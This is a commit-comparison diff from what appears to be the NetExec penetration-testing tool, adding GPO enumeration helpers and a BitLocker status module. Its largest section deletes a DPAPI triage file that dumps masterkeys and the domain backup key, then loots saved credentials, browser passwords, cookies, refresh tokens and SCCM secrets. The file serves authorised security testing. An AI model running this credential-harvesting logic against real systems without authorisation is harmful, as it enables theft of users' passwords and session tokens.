Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck e78547d604 Merge branch 'main' into feat/gpos-module
Signed-off-by: Marshall Hallenbeck <[email protected]>
2026-09-09 15:50:34 -04:00
Marshall Hallenbeck 1b4817138b Merge branch 'main' into feat/gpos-module 2026-08-19 17:49:05 -04:00
Marshall Hallenbeck 503164d565 fix(gpos): pass connection object to LSAQuery instead of individual args (#1168)
LSAQuery.__init__ expects (connection, logger), not individual credential
fields.

Refs #1168
2026-08-05 17:54:20 -04:00
Marshall Hallenbeck 2a60ab0bd5 fix: resolve merge conflicts with main (#1168)
Merge upstream import changes in smb.py (smb3structs imports) and
samrfunc.py (keep both WELL_KNOWN_SIDS and NXCRPCConnection imports).

Refs #1168
2026-08-05 15:30:38 -04:00
Marshall Hallenbeck 2245f3ca01 feat(modules): add GPO enumeration module
Add gpos module for enumerating Group Policy Objects via LDAP + SMB.
Extracts helpers for LDAP queries, SMB security descriptors, DACL
parsing, and path sanitization into reusable nxc/helpers/ modules.
Adds well-known SID constants shared with samrfunc, and path traversal
defense in download_folder.
2026-04-06 14:53:57 -04:00
Marshall Hallenbeck 2cfdbd1f97 tests(get_folder): add e2e test line 2026-04-06 14:53:20 -04:00
Marshall Hallenbeck 47292c512c fix(smb): add path sanitization helper and apply to download_folder 2026-04-06 14:42:22 -04:00
Marshall Hallenbeck 0806923cc5 feat(smb): add --get-folder command for downloading remote directories
Add download_file(), download_folder(), and get_folder() methods to the
SMB protocol. Refactor get_file_single() to use download_file() with
automatic fallback from READ to READ/WRITE access on sharing violations.

New CLI args: --get-folder, --recursive, --ignore-empty-folders

Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive
2026-04-06 14:36:32 -04:00
42 changed files with 1764 additions and 1832 deletions

No files matched your search

-2
View File
@@ -181,8 +181,6 @@ class connection:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
-461
View File
@@ -1,461 +0,0 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
+79
View File
@@ -0,0 +1,79 @@
from datetime import datetime, timezone
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_ldap_timestamp(ts):
"""Convert LDAP generalized time (e.g., '20240603160917.0Z')
to a human-readable string
"""
if not ts:
return ""
try:
cleaned = ts.replace(".0Z", "").replace("Z", "")
dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
except (ValueError, TypeError):
return ts
def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
"""Query LDAP for GPO metadata
Returns dict of {GUID: {displayName, ...}} or None on failure
This function is standalone so it can be reused by other modules
(e.g., a future list_gpos LDAP module)
"""
base_dn = ",".join(f"DC={part}" for part in domain.split("."))
search_filter = "(objectClass=groupPolicyContainer)"
attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
try:
ldap_url = f"ldap://{host}"
logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
if kerberos:
ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
else:
ldap_connection.login(username, password, domain, lmhash, nthash)
search_base = f"CN=Policies,CN=System,{base_dn}"
logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
resp = ldap_connection.search(
searchFilter=search_filter,
attributes=attributes,
searchBase=search_base,
sizeLimit=0,
)
gpo_map = {}
for entry in resp:
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
continue
attrs = {}
for attribute in entry["attributes"]:
attr_name = str(attribute["type"])
vals = [str(val) for val in attribute["vals"].components]
attrs[attr_name] = vals[0] if len(vals) == 1 else vals
guid = attrs.get("cn", "").upper()
if guid:
if not guid.startswith("{"):
guid = f"{{{guid}}}"
gpo_map[guid] = {
"displayName": attrs.get("displayName", "Unknown"),
"gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
"versionNumber": attrs.get("versionNumber", "0"),
"whenCreated": attrs.get("whenCreated", ""),
"whenChanged": attrs.get("whenChanged", ""),
}
logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
return gpo_map
except Exception as e:
logger.debug(f"LDAP GPO query failed: {e}")
return None
+102
View File
@@ -0,0 +1,102 @@
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
from impacket.ldap import ldaptypes
from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
Args:
connection: An NXC SMB connection object with host, username, password, etc.
share_name: The SMB share name (e.g. "SYSVOL").
path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
sec_info_flags: Security information flags to request. Defaults to
OWNER | GROUP | DACL.
Returns:
An SR_SECURITY_DESCRIPTOR parsed from the raw response.
"""
if sec_info_flags is None:
sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
rpc_transport = transport.SMBTransport(
connection.host,
connection.host,
filename=r"\srvsvc",
smb_connection=connection.conn,
)
rpc_transport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
# SRVS RPC requires null-terminated strings
rpc_share = f"{share_name}\x00"
rpc_path = f"\\{path.replace('/', chr(92))}\x00"
raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
dce.disconnect()
return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
def parse_dacl_aces(sd, sid_resolver=None):
"""Parse ACEs from a security descriptor's DACL into structured data.
Args:
sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
sid_resolver: Optional callable that takes a SID string and returns
a human-readable name. If None, SID names are left as empty strings.
Returns:
A dict with keys:
owner: {"sid": str, "name": str}
group: {"sid": str, "name": str}
aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
If there is no DACL, the ``aces`` list will be empty.
"""
owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
result = {
"owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
"group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
"aces": [],
}
if not sd["Dacl"]:
return result
for i in range(sd["Dacl"]["AceCount"]):
ace = sd["Dacl"]["Data"][i]
ace_type = ace["TypeName"]
access_mask = int(ace["Ace"]["Mask"]["Mask"])
sid = ace["Ace"]["Sid"].formatCanonical()
permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
sid_name = ""
if sid_resolver:
sid_name = sid_resolver(sid)
result["aces"].append({
"ace_type": ace_type,
"sid": sid,
"sid_name": sid_name,
"permissions": permissions,
"raw_mask": access_mask,
})
return result
+141 -116
View File
@@ -1,116 +1,141 @@
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
